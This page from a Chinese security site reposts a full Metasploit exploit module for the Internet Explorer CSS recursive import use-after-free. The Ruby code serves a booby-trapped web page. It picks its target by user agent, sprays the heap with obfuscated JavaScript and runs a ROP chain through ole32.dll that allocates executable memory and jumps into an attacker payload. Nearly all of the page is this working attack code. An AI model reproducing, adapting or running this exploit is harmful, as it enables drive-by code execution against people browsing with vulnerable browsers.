首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Internet Explorer CSS Recursive Import Use After Free
来源:http://www.metasploit.com 作者:WooYun 发布时间:2010-12-22  
##
# $Id: ms11_xxx_ie_css_import.rb 11383 2010-12-20 16:34:07Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GoodRanking # Need more love for Great

	include Msf::Exploit::Remote::HttpServer::HTML
	include Msf::Exploit::Remote::BrowserAutopwn
	autopwn_info({
		:ua_name    => HttpClients::IE,
		:ua_minver  => "7.0", # Should be 6
		:ua_maxver  => "8.0",
		:javascript => true,
		:os_name    => OperatingSystems::WINDOWS,
		:vuln_test  => nil, # no way to test without just trying it
	})

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Internet Explorer CSS Recursive Import Use After Free',
			'Description'    => %q{
					Thie module exploits a memory corruption vulnerability within Microsoft\'s
				HTML engine (mshtml). When parsing an HTML page containing a recursive CSS
				import, a C++ object is deleted and later reused. This leads to arbitrary
				code execution.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'WooYun',         # Initial discovery / report
					'd0c_s4vage',     # First working public exploit
					'jduck'           # Metasploit module (ROP, @WTFuzz spray)
				],
			'Version'        => '$Revision: 11383 
, 'References' => [ #[ 'CVE', '2010-????' ], [ 'OSVDB', '69796' ], [ 'BID', '45246' ], #[ 'URL', 'http://www.microsoft.com/technet/security/advisory/XXXXXX.mspx' ], [ 'URL', 'http://www.wooyun.org/bugs/wooyun-2010-0885' ], [ 'URL', 'http://seclists.org/fulldisclosure/2010/Dec/110' ], [ 'URL', 'http://www.breakingpointsystems.com/community/blog/ie-vulnerability/' ] #[ 'MSB', 'MS11-XXX' ] ], 'DefaultOptions' => { 'EXITFUNC' => 'process', 'InitialAutoRunScript' => 'migrate -f', }, 'Payload' => { 'Space' => 1024, 'BadChars' => "\x00", 'DisableNops' => true }, 'Platform' => 'win', 'Targets' => [ [ 'Automatic', { } ], [ 'Internet Explorer 8', { 'Ret' => 0x105ae020, 'OnePtrOff' => 0x18, 'DerefOff' => 0x30, 'FlagOff' => 0x54, 'CallDeref1' => 0x20, 'SignedOff' => 0x1c, 'CallDeref2' => 0x24, 'CallDeref3' => 0x00, 'CallDeref4' => 0x20, 'Deref4Off' => 0x08 } ], [ 'Internet Explorer 7', { 'Ret' => 0x105ae020, 'OnePtrOff' => 0x14, 'DerefOff' => 0x5c, 'FlagOff' => 0x34, 'CallDeref1' => 0x1c, 'SignedOff' => 0x18, 'CallDeref2' => 0x20, 'CallDeref3' => 0x00, 'CallDeref4' => 0x20, 'Deref4Off' => 0x08 } ], # For now, treat the IE6 target the same as teh debug target. [ 'Internet Explorer 6', { 'Ret' => 0xc0c0c0c0, 'OnePtrOff' => 0x14, 'DerefOff' => 0x5c, 'FlagOff' => 0x34, 'CallDeref1' => 0x1c, 'SignedOff' => 0x18, 'CallDeref2' => 0x20, 'CallDeref3' => 0x00, 'CallDeref4' => 0x20, 'Deref4Off' => 0x08 } ], [ 'Debug Target (Crash)', { 'Ret' => 0xc0c0c0c0, 'OnePtrOff' => 0, 'DerefOff' => 4, 'FlagOff' => 8, 'CallDeref1' => 0xc, 'SignedOff' => 0x10, 'CallDeref2' => 0x14, 'CallDeref3' => 0x18, 'CallDeref4' => 0x1c, 'Deref4Off' => 0x20 } ] ], # Full-disclosure post was Dec 8th, original blog Nov 29th 'DisclosureDate' => 'Nov 29 2010', 'DefaultTarget' => 0)) register_options( [ OptBool.new('OldOle32', [ true, 'Whether the target has MS10-083 or not.', false ]) ], self.class) end def auto_target(cli, request) mytarget = nil agent = request.headers['User-Agent'] print_status("Checking user agent: #{agent}") if agent =~ /MSIE 6\.0/ mytarget = targets[3] elsif agent =~ /MSIE 7\.0/ mytarget = targets[2] elsif agent =~ /MSIE 8\.0/ mytarget = targets[1] else print_error("Unknown User-Agent #{agent} from #{cli.peerhost}:#{cli.peerport}") end mytarget end def on_request_uri(cli, request) print_status("Received request for %s" % request.uri.inspect) mytarget = target if target.name == 'Automatic' mytarget = auto_target(cli, request) if (not mytarget) send_not_found(cli) return end end buf_addr = mytarget.ret css_name = [buf_addr].pack('V') * (16 / 4) # We stick in a placeholder string to replace after UTF-16 encoding placeholder = "a" * (css_name.length / 2) uni_placeholder = Rex::Text.to_unicode(placeholder) if request.uri == get_resource() or request.uri =~ /\/$/ print_status("Sending #{self.refname} redirect to #{cli.peerhost}:#{cli.peerport} (target: #{mytarget.name})...") redir = get_resource() redir << '/' if redir[-1,1] != '/' redir << rand_text_alphanumeric(4+rand(4)) redir << '.html' send_redirect(cli, redir) elsif request.uri =~ /\.html?$/ # Re-generate the payload return if ((p = regenerate_payload(cli)) == nil) print_status("Sending #{self.refname} HTML to #{cli.peerhost}:#{cli.peerport} (target: #{mytarget.name})...") # Generate the ROP payload # We need a different set of RVAs without MS10-083. Can we detect this remotely? if datastore['OldOle32'] rvas = rvas_pre() else rvas = rvas_post() end rop_stack = generate_rop(buf_addr, rvas) fix_esp = rva2addr(rvas, 'ret 0x38') ret = rva2addr(rvas, 'ret') pivot = rva2addr(rvas, 'xchg eax, esp / ret') # Append the payload to the rop_stack rop_stack << p.encoded # Build the deref-fest buffer len = 0x84 + rop_stack.length special_sauce = rand_text_alpha(len) # This ptr + off must contain 0x00000001 special_sauce[mytarget['OnePtrOff'], 4] = [1].pack('V') # Pointer that is dereferenced to get the flag special_sauce[mytarget['DerefOff'], 4] = [buf_addr].pack('V') # Low byte must not have bit 1 set no_bit1 = rand(0xffffffff) & ~2 special_sauce[mytarget['FlagOff'], 4] = [no_bit1].pack('V') # These are deref'd to figure out what to call special_sauce[mytarget['CallDeref1'], 4] = [buf_addr].pack('V') special_sauce[mytarget['CallDeref2'], 4] = [buf_addr].pack('V') special_sauce[mytarget['CallDeref3'], 4] = [buf_addr + mytarget['Deref4Off']].pack('V') # Finally, this one becomes eip special_sauce[mytarget['CallDeref4'] + mytarget['Deref4Off'], 4] = [pivot].pack('V') # This byte must be signed (shorter path to flow control) signed_byte = rand(0xff) | 0x80 special_sauce[mytarget['SignedOff'], 1] = [signed_byte].pack('C') # These offsets become a fix_esp ret chain .. special_sauce[0x08, 4] = [fix_esp].pack('V') # our stack pivot ret's to this (fix_esp, from eax) special_sauce[0x0c, 4] = [fix_esp].pack('V') # part two of fixing esp (two esp+=0x3c) special_sauce[0x48, 4] = [ret].pack('V') # ropnop, continue as ESP is where we want it now. # Add in the rest of the ROP stack special_sauce[0x84, rop_stack.length] = rop_stack # Format for javascript use special_sauce = Rex::Text.to_unescape(special_sauce) # Construct the javascript custom_js = <<-EOS function prepare() { heap = new heapLib.ie(0x20000); var heapspray = unescape("#{special_sauce}"); while(heapspray.length < 0x1000) heapspray += unescape("%u4444"); var heapblock = heapspray; while(heapblock.length < 0x40000) heapblock += heapblock; finalspray = heapblock.substring(2, 0x40000 - 0x21); for(var counter = 0; counter < 500; counter++) { heap.alloc(finalspray); } } function start() { prepare(); var vlink = document.createElement("link"); vlink.setAttribute("rel", "Stylesheet"); vlink.setAttribute("type", "text/css"); vlink.setAttribute("href", "#{placeholder}") document.getElementsByTagName("head")[0].appendChild(vlink); } EOS opts = { 'Symbols' => { 'Variables' => %w{ heapspray vlink heapblock heap finalspray counter }, 'Methods' => %w{ prepare } } } custom_js = ::Rex::Exploitation::ObfuscateJS.new(custom_js, opts) js = heaplib(custom_js) # Construct the final page html = <<-EOS <html> <head> <script language='javascript'> #{js} </script> </head> <body onload='start()'> </body> </html> EOS html = "\xff\xfe" + Rex::Text.to_unicode(html) html.gsub!(uni_placeholder, css_name) send_response(cli, html, { 'Content-Type' => 'text/html' }) else css = <<-EOS @import url("#{placeholder}"); @import url("#{placeholder}"); @import url("#{placeholder}"); @import url("#{placeholder}"); EOS css = "\xff\xfe" + Rex::Text.to_unicode(css) css.gsub!(uni_placeholder, css_name) print_status("Sending #{self.refname} CSS to #{cli.peerhost}:#{cli.peerport} (target: #{mytarget.name})...") send_response(cli, css, { 'Content-Type' => 'text/css' }) end # Handle the payload handler(cli) end def rvas_post() # ole32.dll version 5.1.2600.6010, post MS10-083 # Just return this hash { 'xchg eax, esp / ret' => 0x7b60e, 'ret 0x38' => 0x607f1, 'ret' => 0x7b60e+1, 'push eax / ret' => 0x1d1e4, 'pop eax / ret' => 0x58cab, 'pop ebx / ret' => 0x1da39, 'pop ecx / ret' => 0x50479, 'mov eax, [eax] / ret' => 0x22a20, 'mov [ecx], eax / xor eax, eax / pop esi / ret' => 0x360b9, 'xor edi, edi / adc eax, 0x774e13b4 / pop ebp / ret 4' => 0xd87c2, 'add edi, [ebx] / ret' => 0x2cc26, 'rep movsb / pop edi / pop esi / ret' => 0x372c6, 'call [ebx]' => 0x2ad9 } end def rvas_pre() # ole32.dll version 5.1.2600.5512, pre MS10-083 # Just return this hash { 'xchg eax, esp / ret' => 0x7b5e6, 'ret 0x38' => 0x607c7, 'ret' => 0x7b5e6+1, 'push eax / ret' => 0x1d264, 'pop eax / ret' => 0x1af34, 'pop ebx / ret' => 0x1dae4, 'pop ecx / ret' => 0x4f82a, 'mov eax, [eax] / ret' => 0x22ef3, 'mov [ecx], eax / xor eax, eax / pop esi / ret' => 0x36589, 'xor edi, edi / adc eax, 0x774e13b4 / pop ebp / ret 4' => 0xd858a, 'add edi, [ebx] / ret' => 0x2d0f6, 'rep movsb / pop edi / pop esi / ret' => 0x37796, 'call [ebx]' => 0x2ad9 } end def generate_rop(buf_addr, rvas) # ROP fun! (XP SP3 English, Dec 15 2010) rvas.merge!({ # Instructions / Name => RVA 'BaseAddress' => 0x774e0000, 'imp_VirtualAlloc' => 0x1448, 'Writable' => 0x12719c }) rop_stack = [ # Allocate an RWX memory segment 'pop eax / ret', 'imp_VirtualAlloc', 'mov eax, [eax] / ret', 'push eax / ret', 'ret', 0, # lpAddress 0x1000, # dwSize 0x3000, # flAllocationType 0x40, # flProt # Copy the original payload 'pop ecx / ret', 'Writable', 'mov [ecx], eax / xor eax, eax / pop esi / ret', :memcpy_src, 'xor edi, edi / adc eax, 0x774e13b4 / pop ebp / ret 4', :unused, 'pop ebx / ret', :unused, 'Writable', 'add edi, [ebx] / ret', 'pop ecx / ret', 0x200, 'rep movsb / pop edi / pop esi / ret', :unused, :unused, # Execute the payload ;) 'call [ebx]' ] rop_stack.map! { |e| if e.kind_of? String # Meta-replace (RVA) raise RuntimeError, "Unable to locate key: \"#{e}\"" if not rvas[e] rvas['BaseAddress'] + rvas[e] elsif e == :unused # Randomize rand_text(4).unpack('V').first elsif e == :memcpy_src # Based on stack length.. buf_addr + 0x84 + (rop_stack.length * 4) else # Literal e end } rop_stack.pack('V*') end def rva2addr(rvas, key) raise RuntimeError, "Unable to locate key: \"#{key}\"" if not rvas[key] rvas['BaseAddress'] + rvas[key] end end
 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Apple iPhone Safari (decodeURI
·Windows 7 IIS7.5 FTPSVC UNAUTH
·Apple iPhone Safari (decodeURI
·Apple iPhone Safari (body alin
·Accmeware MP3 Cut 5.0.9 DoS Po
·Apple iPhone Safari (JS .) Rem
·Accmeware MP3 Speed 5.0.9 DoS
·Citrix Access Gateway Command
·Accmeware MP3 Joiner Pro 5.0.9
·WMITools ActiveX Remote Comman
·MP3 CD Converter Professional
·DorsaCms SQL Injection Vulnera
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved